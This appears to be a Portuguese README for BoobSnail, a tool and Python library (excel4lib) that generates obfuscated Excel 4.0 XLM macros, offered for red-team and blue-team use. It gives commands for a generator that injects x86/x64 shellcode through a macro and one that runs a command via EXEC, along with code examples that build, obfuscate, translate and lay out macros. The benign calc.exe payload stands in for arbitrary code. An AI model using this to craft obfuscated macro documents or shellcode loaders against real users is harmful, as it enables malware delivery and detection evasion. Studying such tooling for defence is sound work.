
Gere macros XLM do Excel 4.0 ofuscadas para operações de equipe vermelha e análise de equipe azul, com suporte para múltiplas técnicas de infecção, tradução de fórmulas e geradores personalizados baseados em bibliotecas.
Siga-nos no Twitter!
BoobSnail permite gerar macros XLM (Excel 4.0). Seu objetivo é apoiar o RedTeam e o BlueTeam na geração de macros XLM. Recursos:
Testado em: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Para exibir os geradores disponíveis, digite:
python boobsnail.py
Gera macro ofuscada que injeta shellcode x64 ou x86:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <CAMINHO_PARA_SHELLCODE> --inputx64 <CAMINHO_PARA_SHELLCODE> --out boobsnail.csv
Gera macro ofuscada que executa calc.exe:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail compartilha a biblioteca excel4lib que permite criar seu próprio gerador de macro Excel4. excel4lib contém algumas classes que podem ser usadas durante a escrita do gerador:
A ideia principal desta biblioteca é representar fórmulas Excel4, variáveis, argumentos de fórmulas e valores como objetos python. Graças a isso, você pode alterar atributos de instruções, como nomes de fórmulas ou variáveis, valores, endereços, etc., de forma fácil. Por exemplo, vamos criar uma macro simples que executa calc.exe
from excel4lib.macro import *
# Cria objeto macro
macro = Excel4Macro("test.csv")
# Adiciona variável chamada cmd com valor "calc.exe" à planilha
cmd = macro.variable("cmd", "calc.exe")
# Adiciona fórmula EXEC com argumento cmd
macro.formula("EXEC", cmd)
# Despeja em CSV
print(macro.to_csv())
Resultado:
cmd="calc.exe";
=EXEC(cmd);
Agora, digamos que você queira ofuscar sua macro. Para isso, basta importar o ofuscador e passá-lo para o objeto Excel4Macro:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Cria objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Adiciona variável chamada cmd com valor "calc.exe" à planilha
cmd = macro.variable("cmd", "calc.exe")
# Adiciona fórmula EXEC com argumento cmd
macro.formula("EXEC", cmd)
# Despeja em CSV
print(macro.to_csv())
Por enquanto, o excel4lib oferece duas classes de ofuscação:
Como você pode ver, você pode escrever sua própria classe de ofuscador e usá-la no Excel4Macro.
Às vezes você precisará traduzir sua macro para outro idioma, por exemplo, seu idioma nativo, no meu caso é o polonês. Com o excel4lib é bastante fácil. Você só precisa importar a classe Excel4Translator e chamar set_language
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Altera o idioma
Excel4Translator.set_language("pl_PL")
# Cria objeto macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Adiciona variável chamada cmd com valor "calc.exe" à planilha
cmd = macro.variable("cmd", "calc.exe")
# Adiciona fórmula EXEC com argumento cmd
macro.formula("EXEC", cmd)
# Despeja em CSV
print(macro.to_csv())
Resultado:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
Por enquanto, apenas os idiomas inglês e polonês são suportados. Se você quiser usar outro idioma, precisa adicionar traduções no diretório excel4lib/lang/langs.
Certamente, você precisará criar uma fórmula que recebe outra fórmula como argumento. Você pode fazer isso usando a função Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Adiciona variável chamada cmd com valor "calc" à planilha
cmd_1 = macro.variable("cmd", "calc")
# Adiciona célula contendo .exe como valor
cmd_2 = macro.value(".exe")
# Cria fórmula CONCATENATE que CONCATENA cmd_1 e cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passa a chamada CONCATENATE como argumento para a fórmula EXEC
macro.formula("EXEC", exec_arg)
# Despeja em CSV
print(macro.to_csv())
Resultado:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Como você pode ver, a string ".exe" foi passada para a fórmula CONCATENATE como R2C1. R2C1 é o endereço do valor ".exe" (LINHA número 2 e COLUNA número 1). excel4lib retorna referências a fórmulas, valores como endereços. Referências a variáveis são retornadas como seus nomes. Você provavelmente notou que a classe Excel4Macro adiciona fórmulas, variáveis, valores à planilha automaticamente na ordem em que esses objetos são criados e que o endereço inicial é R1C1. E se você quiser colocar fórmulas em outra coluna ou linha? Você pode fazer isso chamando a função Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Coluna 1
# Adiciona variável chamada cmd com valor "calc" à planilha
cmd_1 = macro.variable("cmd", "calc")
# Adiciona célula contendo .exe como valor
cmd_2 = macro.value(".exe")
# Coluna 2
# Altera coordenadas para coluna 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passa a chamada CONCATENATE como argumento para a fórmula EXEC
exec_call = macro.formula("EXEC", exec_arg)
# Coluna 1
# Volta para coluna 1. Altera coordenadas para coluna 1 e linha 3
macro.set_cords(1,3)
# GOTO na chamada EXEC
macro.goto(exec_call)
# Despeja em CSV
print(macro.to_csv())
Resultado:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;